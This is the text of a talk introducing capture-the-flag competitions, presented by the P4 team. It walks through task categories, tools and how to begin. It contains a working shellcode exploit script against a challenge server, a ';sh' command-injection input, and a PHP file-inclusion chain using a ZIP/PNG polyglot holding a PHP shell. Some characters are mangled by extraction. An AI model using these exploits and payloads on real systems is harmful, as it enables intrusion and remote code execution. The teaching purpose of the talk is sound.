How to Capture The Flag?
Stanislaw Podgorski
How to Capture The Flag?
let's start with autopromotion
$ whois p4
· A group of friends working in software engineering and it
security
· 7-8 active players
· Expertise in RE, PWN, Crypto, Web, PPC, Forensics
· P4 @ [Link]
· Writeups: [Link]
· Twitter: @p4_team
3/91
Shameless autopromotion
4/91
Is top 5 a big deal?
In reality there are 150-1500 teams playing in each
competition
5/91
Agenda
· What is this all about?
· What kind of tasks are there?
· CTF league
· How to start?
· Q&A
6/91
Agenda - task categories
· RE - Reverse Engineering
· Web - Web security
· Crypto - Cryptography and cryptanalysis
· Pwn - Binary Exploitation
· Forensics - Computer forensics
· Stegano - Steganography
· PPC - Professional Programming Challenges
· Misc - Anything else
7/91
What is CTF?
What is CTF?
After [Link]:
TL;DR: Competitions for IT security enthusiasts"
9/91
CTFs type
· jeopardy
· attack defence
- free for all
- king of the hill
10/91
Category: Reverse Engineering
cmp 謥ag, 0x1337
General pattern
int main() { C
char *input = read_input();
if (verify(input)) {
puts("good");
puts(decrypt(input, flag));
} else {
puts("bad");
}
}
Read some input, perform operations on it and if the result is
correct return the 謥ag.
12/91
Trivial example
╭─msm@europa /home/msm/tmp
╰─$ ./challenge
Password: test
fail
╭─msm@europa /home/msm/tmp
╰─$ ./challenge
Password: niebieski7
fail
Goal: ꛦnd the right password
13/91
Disassembly analysis in IDA Pro
Password is read using scanf and compared with the 謥ag
14/91
Decompilation
· Help with RE even if someone doesn't know assembly
· Speed up the analysis
· Hexrays Decompiler, Retargetable Decompiler, Snowman,
Hopper
· Fern謥ower, ILSpy, uncompyle
15/91
Trivial example
╭─msm@europa /home/msm/tmp <master*>
╰─$ ./challenge
Password: flag{secretpassword}
good
In real CTF tasks it's harder, but the pattern is often similar
The 謥ag most likely won't be stored as plaintext
16/91
Di�erent examples
· custom VM
· keygen
· ransomware
· complex anti-debugging/anti-disasm
· exotic architecture
· trace analysis
17/91
How to?
· static code analysis (disasm, decompilation)
· dynamic code analysis (debugger)
· behavioral analysis (ptrace, strace, ltrace, process monitor)
18/91
Category: PWN (binary exploitation)
execve("/bin/pwn")
Pattern
Usually x86/x64 ELF (rarely Windows PE)
· ꛦnd vulnerabilities
· use them to execute arbitrary code
· prepare the exploit
· run on the target server
20/91
Example vulnerabilities
· bu�er/stack/heap over謥ow
· use after free, double free, dangling pointers
· empty string format
21/91
Obstacles
· canary (stack protector)
· DEP / NX (data execution prevention)
· ASLR (adress space layout randomization)
· selinux, grsecurity, seccomp, sandboxes
22/91
Exploitation methods
· shellcoding, nopsled
· return oriented programming, ret to libc
· partial-overwrite
· got plt substitution
23/91
Pop quiz 1
Is this code safe?
int main(int argc, const char **argv) C
{
char buffer[1024] ={};
strcpy(buffer, "ping ");
printf("Which IP to ping?\n");
scanf("%1023s", buffer+5);
system(buffer);
return 0;
}
24/91
Pop quiz 1
Is this code safe?
int main(int argc, const char **argv) C
{
char buffer[1024] ={};
strcpy(buffer, "ping ");
printf("Which IP to ping?\n");
scanf("%1023s", buffer+5);
system(buffer);
return 0;
}
What if the input is [Link];sh?
25/91
Pop quiz 2
Is this code safe?
int main(int argc, const char **argv) C
{
char buffer[1024];
printf("What is your name?\n")
scanf("%s", buffer);
printf("Hello! ")
printf(buffer)
return 0;
}
26/91
Pop quiz 2
Is this code safe?
int main(int argc, const char **argv) C
{
char buffer[1024];
printf("What is your name?\n")
scanf("%s", buffer);
printf("Hello! ")
printf(buffer)
return 0;
}
· stack bu�er over謥ow -> ROP, shellcoding
· missing string format -> infoleak
· missing string format -> ROP
27/91
Example
int __cdecl main(int argc, const char **argv, const char **envp) C
{
char buffer[128]; // [sp+18h] [bp‐88h]@1
double canary; // [sp+98h] [bp‐8h]@1
canary = 64.33333;
setvbuf(stdout, 0, 2, 0);
printf("Buff: %p\n", buffer);
__isoc99_scanf("%s", buffer);
if ( 64.33333 != canary )
{
puts("Nope");
exit(1);
}
return printf(str, buffer);
}
Classic stack bu�er over謥ow with static stack canary
28/91
Example exploit
import socket C
s = [Link]()
[Link](('[Link]', 1259))
buf_addr = [Link](17)[8:16]
[Link]('31c0b03001c430c050682f2f7368682f62696e89e389c1b0b0c0e804cd80c0e803cd80'
.decode('hex').ljust(128, 'a')) # shellcode: execve /bin/sh
[Link]('a5315a4755155040'.decode('hex')) # stack guard
[Link]('aaaaaaaaaaaa') # padding
[Link](buf_addr.decode('hex')[::‐1]) # ret: buffer address
[Link]('\n')
print ([Link](9999))
[Link]('cat flag\n')
print ([Link](9999))
[Link]()
29/91
RE/PWN tools
· IDA Pro
· gdb
· Binary Ninja
· Radare2
· x64dbg
· Pwntools
30/91
IDA Pro
Best static code analysis tool available
31/91
Gdb
Works everywhere on everything
32/91
Binary Ninja
New tool, strongly promoted on CTFs
33/91
Radare2
Tool for console lovers.
"Vim for reverse engineering".
34/91
x64dbg
Probably the best, free Windows debugger available.
35/91
pwntools
36/91
Category: Web
Web' OR 1=1 --
Category: Web
Applications mostly written in:
· PHP
· Python
· Ruby
· JavaScript ([Link])
38/91
Attack vectors
· (no)SQLinjection
· XSS, CSRF
· path traversal
· ꛦle inclusion
· deserialization (unserialize, unpickle, XMLDecoder,
readObject)
39/91
Example
Webpage allows to upload/edit .png icons
Navigation: [Link]?op=home
What if it executes include($_GET['op'] . '.php')?
Step 1. Download sources via php base64 ꛦlter
?op=php://filter/read=convert.base64‐encode/resource=home
40/91
Example
Step 2. Application analysis
· any uploaded icon will have .png extension
· we can upload only valid picture
· all metadata removed (no smuggling data in exif)
· we can control color palette and pixels from online editor
But this will still be only a picture.
41/91
Example
PHP has also ZIP ꛦlter
Let's create a PNG, which is also a valid ZIP, with PHP-shell
inside...
What?
504B0304140000000800EE769148F0D042901D000000210000000500
0000732E706870B3B12FC82850508977770D89564F548FD5803293D4
6335ADEDED78B900504B01021400140000000800EE769148F0D04290
1D00000021000000050000000000000001002000000029000000732E
706870504B0506000000000100010033000000690000000000
42/91
Example
[Link] /&op=zip://uploads/
[Link]%23s
43/91
Tools
· Web browser (inspector/ꛦrebug)
· Burp (repeater)
· Fiddler
· Python (requests)
Automatic scanners (sqlmap, w3af, dirbuster) are forbidden
and usually useless.
44/91
Category: Crypto
pow(long_to_bytes('crypto'), e, n)
Pattern
Task is always the same - we get an encrypted 謥ag and we
need to decrypt it.
To make it possible we might get some help:
· more encrypted data
· encryption algorithm
· access to encryption/decryption service
46/91
What can be broken?
· improperly used RSA can be broken in 100 di�erent ways
· improperly used AES can be broken in 10 di�erent ways
· improper use of cryptography libraries makes them
vulnerable
· improperly implemented encryption algorithm is often
vulnerable
You can see a pattern here.
47/91
Some selected RSA attacks
· Common modulus
· Hastad Broadcast Attack
· Patrial Key Exposure (25% of LSB to break)
· Wiener attack (large e)
· Blinding attacks on homomorphic RSA
· Fault attacks
· Power analysis side channel attacks
48/91
Example: power analysis
def square_and_multiply(base, exponent, modulus): PYTHON
result = 1
for bit in to_binary(exponent):
square = result * result
if bit == 0:
result = square % modulus
else:
result = (square * base) % modulus
return result
49/91
Pop quiz
How many bits your AES encryption key should have? 32? 64?
96?
50/91
Pop quiz
How many bits your RSA modulus should have? Is 128 still
safe as for AES? Do we need more, eg. 256?
51/91
Tools:
· Sheet of paper
· [Link]
· Python, sage
52/91
Category: Forensics
Task types
· Post-attack analysis of VM images
· Broken disk images / data recovery
· Network forensics (pcap analysis)
· memory dump analysis
54/91
Tools
· wireshark, network miner
· binwalk, ꛦnd / grep
· volatility, mimekatz
55/91
Category: Stegano
everyone hates stegano...
Stegano
Data hidden in graphic, video, audio ꛦles.
· some can be trivially solved with automatic tools like
stegsolve (eg. LSB)
· some require a lot of guessing
· some require understanding certain data formats
57/91
Example
Data hidden in audio ꛦle:
Can be uncovered with spectral analysis
58/91
Tools
· stegsolve
· steghide
· xxd, hexdump
· Python
· Audacity
· binwalk
· experience
59/91
Category: Misc
sometimes good, sometimes bad
Task types
Misc tasks are... miscellaneous.
· Recon (googling, doxing, cyberstalking).
· Trivia (On Windows, loading a library and having it's
code run in another process is called _).
· Hardware (eg. from a photo or video).
· Unusual programming languages
· Golꛦng, jail escapes
· "They must be joking..." type of tasks
61/91
Example: Piet language
62/91
Example: regex lovers from Taiwan
Task: write a few regular expressions matching given input
(with strong constraints on regex length)
Please match string that contains "select" as a case insensitive subsequence.
Answer:
(?i)s.*e.*l.*e.*c.*t
Simple?
63/91
Example: regex lovers from Taiwan lvl 2
a^nb^n
Yes, we know it is a classical example of context free grammer.
Strings like aabb, aaaabbbb (equal number of a and b)
During automata and formal languages classes we learn that
you can't make regex like that.
^(a\g<1>?b)$
64/91
Example: regex lovers from Taiwan lvl 3
x^p
A prime is a natural number greater than 1 that has no positive divisors other than 1 and itself.
String length has to be a prime number
Answer:
^(?!(xx+)\1+$)xx+$
65/91
Example: regex lovers from Taiwan lvl 4
Palindrome
Both "QQ" and "TAT" are palindromes, but "PPAP" is not.
String has to be a palindrome
Answer:
^((.)\g<1>?\2|.?)$
66/91
Example: regex lovers from Taiwan lvl 5
a^nb^nc^n
Is CFG too easy for you? How about some context SENSITIVE grammer?
Strings like abc, aaabbbccc, etc (equal number of a, b and c).
Answer:
^(?=(a\g<1>?b)c)a+(b\g<2>?c)$
67/91
And so on... lvl 7
Regex matching only leap years:
(?!^0\d)(^\d*((((^|0|[2468])[048])|[13579][26])00$)|^\d*((0[48]|(^0*|[2468
])[048]|[13579][26]))$)
68/91
But wait, there's more, lvl 8
Regex matching multiples of number 42 (O_o)
^(?=^‐?(\d*[02468])$)(?=^‐?((?!$)(?>(|(?<Y>[147]\g<X>|[0369]\g<Y>|[258]\g
<Z>))(|(?<Z>[258]\g<X>|[147]\g<Y>|[0369]\g<Z>)))(?<X>[0369]\g<X>|[258]\g<
Y>|[147]\g<Z>|$))$)(?=^‐?((?!$)(?>(|(?<B>4\g<A>|5\g<B>|6\g<C>|[07]\g<D>|[
18]\g<E>|[29]\g<F>|3\g<G>))(|(?<C>[18]\g<A>|[29]\g<B>|3\g<C>|4\g<D>|5\g<E
>|6\g<F>|[07]\g<G>))(|(?<D>5\g<A>|6\g<B>|[07]\g<C>|[18]\g<D>|[29]\g<E>|3\
g<F>|4\g<G>))(|(?<E>[29]\g<A>|3\g<B>|4\g<C>|5\g<D>|6\g<E>|[07]\g<F>|[18]\
g<G>))(|(?<F>6\g<A>|[07]\g<B>|[18]\g<C>|[29]\g<D>|3\g<E>|4\g<F>|5\g<G>))(
|(?<G>3\g<A>|4\g<B>|5\g<C>|6\g<D>|[07]\g<E>|[18]\g<F>|[29]\g<G>)))(?<A>$|
[07]\g<A>|[18]\g<B>|[29]\g<C>|3\g<D>|4\g<E>|5\g<F>|6\g<G>))$)‐?(0|[1‐9]\d
*)$
69/91
Summary
Learn strange new things, you would normally never even
think of.
70/91
Category: PPC
PPC is good, because other teams are bad
Category: PPC
Some tasks are Top Coder like:
tl;dr use matrixes with fastpow to get the desired results in O(logn) time
And some require to make more complex software:
· bots for games (maze, bot ꛦghts)
· captcha solvers (image, audio)
· logical games solvers (sudoku, nonograms, jigsaw puzzles)
72/91
Tools
· Python, C
73/91
CTF league
CTF league
· Global ranking: [Link]
· Community driven
· Some have on-site ꛦnals: DEFCON, HITCON, 0CTF, SECCON,
Codegate...
· In 2016 there were ~70 ranked CTFs
· Mostly during weekends
· 24-48h
· 150-1500 teams per event
· CTF in Geneva: Insomnihack (24.03.2017)
75/91
InsomniHack 2016 (Geneva)
76/91
Hitcon Finals 2016 (Taipei)
77/91
TrendMicro Finals 2016 (Tokyo)
78/91
How to start?
Few questions I will ask and answer myself
Is this even legal?
80/91
Why is it worth to play?
81/91
What do I need to know in order to
start?
82/91
Does it cost anything?
83/91
Can I make money on this?
84/91
Are the tasks realistic?
85/91
Can I play by myself?
86/91
Where to ꛦnd other people to play
with?
87/91
Do I have to be good in every category?
88/91
Which CTF to start with?
· picoctf
· high school CTFs
· [Link]
89/91
Where to ꛦnd materials?
· [Link]
· [Link]/ctfs/
· [Link]/p4-team/ctf/
90/91
Q&A
team@[Link]
p4-team
@p4_team